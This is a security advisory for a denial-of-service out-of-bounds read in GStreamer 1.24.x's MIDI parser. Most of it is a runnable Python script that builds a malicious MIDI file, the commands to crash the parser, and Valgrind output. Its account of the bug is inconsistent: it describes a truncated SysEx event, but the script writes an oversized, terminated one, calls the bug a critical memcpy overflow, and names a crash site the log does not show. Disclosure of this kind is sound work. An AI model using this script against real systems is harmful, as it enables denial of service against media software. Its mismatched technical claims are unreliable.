Details
- Version: 1.24.x
- CVE ID: CVE-2025-67328
- Vendor Homepage: https://gstreamer.freedesktop.org
- Affected Product Code Base: gst-plugins-bad 1.24.x series (vulnerable), fixed in 1.26.0 and later
- Affected Component:
gst/midi/midiparse.c, SysEx event parsing logic (line ~820) - CVE Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67328
- Exploit Author: VyPr AI
Description
An out-of-bounds read in the handle_sysex_event() function of GStreamer Project v1.24.x allows attackers to cause a Denial of Service (DoS) via a crafted Midi file.
Attack Vectors
User must open or process a malicious MIDI file with a truncated System Exclusive (SysEx) event. The file contains a SysEx start byte (0xF0) at the end of track data without sufficient bytes for the terminating 0xF7 byte. When parsed by GStreamer’s midiparse element, the parser increments track->offset beyond buffer boundaries before checking size validity, resulting in out-of-bounds memory reads.
Steps to Reproduce
-
Run following script to generate malicious MIDI file
malicious.mid# exploit.py import struct def create_midi_header(): """Create MIDI file header (MThd chunk)""" chunk_type = b'MThd' length = struct.pack('>I', 6) format_type = struct.pack('>H', 1) # Format 1 ntrks = struct.pack('>H', 2) # 2 tracks division = struct.pack('>H', 480) # 480 ticks per quarter note return chunk_type + length + format_type + ntrks + division def create_malicious_track(): """Create track with oversized data to trigger memcpy overflow""" chunk_type = b'MTrk' # Craft delta time + event that will overflow during processing # Variable length encoding for delta time delta = bytes([0x00]) # No delay # System exclusive event (0xF0) with huge length # This triggers buffer allocation and memcpy sysex_start = bytes([0xF0]) # Claim length is 4096 bytes but provide much more # Variable length encoding: 0x84 0x00 = 4096 claimed_length = bytes([0x84, 0x00]) # Actual oversized data (10KB to ensure overflow) overflow_data = b'EXPLOIT_PATTERN_' * 640 # 10240 bytes sysex_end = bytes([0xF7]) # End of sysex track_data = delta + sysex_start + claimed_length + overflow_data + sysex_end # Add end of track event track_data += bytes([0x00, 0xFF, 0x2F, 0x00]) length = struct.pack('>I', len(track_data)) return chunk_type + length + track_data def create_malicious_midi(): """Generate complete malicious MIDI file""" header = create_midi_header() track1 = create_malicious_track() track2 = create_malicious_track() # Second track for additional trigger return header + track1 + track2 def main(): print("=" * 70) print("GStreamer MIDI Parser Buffer Overflow POC") print("Severity: CRITICAL | Confidence: 8/10") print("=" * 70) print() output = "malicious.mid" data = create_malicious_midi() with open(output, 'wb') as f: f.write(data) print(f"[+] Generated {output} ({len(data)} bytes)") print() print("[*] Test: gst-launch-1.0 filesrc location=malicious.mid ! midiparse ! fakesink") print("[!] Expected crash in gst_midi_parse_src_query at line 321") print() if __name__ == "__main__": main()python3 exploit.py -
Run Valgrind to observe out-of-bounds read
valgrind gst-launch-1.0 filesrc location=malicious.mid ! midiparse ! fakesink -
The Valgrind output shows invalid read in handle_sysex_event
Proof of Concept
Valgrind Output (GStreamer 1.24.2)
Key Evidence: Look for Invalid read of size 1 errors and Address 0x... is 1 bytes after a block of size 20,528 showing the out-of-bounds access in SysEx event handling.
==2284035== Memcheck, a memory error detector
==2284035== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==2284035== Using Valgrind-3.26.0 and LibVEX; rerun with -h for copyright info
==2284035== Command: gst-launch-1.0 filesrc location=malicious.mid ! midiparse ! fakesink
==2284035==
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...
==2284035== Invalid read of size 1
==2284035== at 0x4866128: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035== by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284035== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284035== by 0x4C9CA63: clone (clone.S:100)
==2284035== Address 0x55c0f60 is 0 bytes after a block of size 20,528 alloc'd
==2284035== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284035== by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x59CC82C: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284035== by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284035== by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284035== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284035== by 0x4C9CA63: clone (clone.S:100)
==2284035==
==2284035== Invalid read of size 1
==2284035== at 0x486642E: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035== by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284035== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284035== by 0x4C9CA63: clone (clone.S:100)
==2284035== Address 0x55c0f61 is 1 bytes after a block of size 20,528 alloc'd
==2284035== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284035== by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x59CC82C: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284035== by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284035== by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284035== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284035== by 0x4C9CA63: clone (clone.S:100)
==2284035==
Pipeline is PREROLLED ...
Setting pipeline to PLAYING ...
ERROR: from element /GstPipeline:pipeline0/GstMidiParse:midiparse0: Internal data stream error.
Additional debug info:
../gst/midi/midiparse.c(1287): gst_midi_parse_loop (): /GstPipeline:pipeline0/GstMidiParse:midiparse0:
streaming stopped, reason error (-5)
Execution ended after 0:00:00.111600213
Setting pipeline to NULL ...
Freeing pipeline ...
==2284035==
==2284035== HEAP SUMMARY:
==2284035== in use at exit: 611,380 bytes in 1,738 blocks
==2284035== total heap usage: 31,917 allocs, 30,179 frees, 3,979,445 bytes allocated
==2284035==
==2284035== For a detailed leak analysis, rerun with: --leak-check=full
==2284035==
==2284035== For lists of detected and suppressed errors, rerun with: -s
==2284035== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
References
- CVE Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67328
- Fix Commit (main): https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/288c9e0d47b6619ddc3a6686597bed0658dd14e3
- Note: This vulnerability affects GStreamer 1.24.x, which is no longer maintained. No backport will be provided to the 1.24 series. Users should upgrade to GStreamer 1.26.0 or later, where this issue was already fixed through parser improvements.
- Merge Request: https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/10276
- GStreamer Project: https://gstreamer.freedesktop.org